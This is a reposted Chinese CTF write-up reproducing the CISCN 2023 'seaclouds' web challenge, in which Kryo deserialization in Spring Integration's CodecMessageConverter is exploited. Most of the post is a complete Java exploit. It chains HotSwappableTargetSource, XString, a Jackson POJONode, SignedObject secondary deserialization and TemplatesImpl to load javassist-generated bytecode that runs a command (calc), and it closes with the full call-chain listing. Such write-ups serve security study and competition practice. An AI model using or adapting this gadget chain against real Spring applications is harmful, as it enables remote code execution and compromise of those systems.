0


【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现

原理速览

在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法

【Web】浅聊Java反序列化之Rome——关于其他利用链

至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链

【Web】关于Java反序列化那些实现机制的朴素通识

而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化

构造细节

拿到源码似乎并没有直接给出反序列化入口,也没有看到waf

可以做文章的也就是最后return的代码

先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class

简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能

实例化完毕后接着再调用其toMessage方法

Message<?> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);

这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message<?> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。

这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)

GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象

EXP

package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
    public static void main(String[] args) throws Exception {
        // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
        setFieldValue(hashMap, "table", tbl);

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用链

CodecMessageConverter
    -> toMessage(decodemsg, ...)
       this.codec.decode(decodemsg, ...)

AbstractKryoCodec
    -> decode(decodemsg, ...)

PojoCodec
    -> doDecode(...)

Kryo
    -> readObject(...)

MapSerializer
    -> read(...)
       Map#put(hotSwappableTargetSource, ...)

HotSwappableTargetSource
    -> equals(...)

XString
    -> equals(pojoNode)

BaseJsonNode
    -> toString()
       InternalNodeMapper#nodeToString(this)

SignedObject
    -> getObject()
       a.readObject()

BadAttributeValueExpException
    -> readObject()
       valObj.toString()

BaseJsonNode
    -> toString()
       InternalNodeMapper#nodeToString(this)

TemplatesImpl
    -> getOutputProperties()

...
标签: ctf web java

本文转载自: https://blog.csdn.net/uuzeray/article/details/138199481
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现”的评论:

还没有评论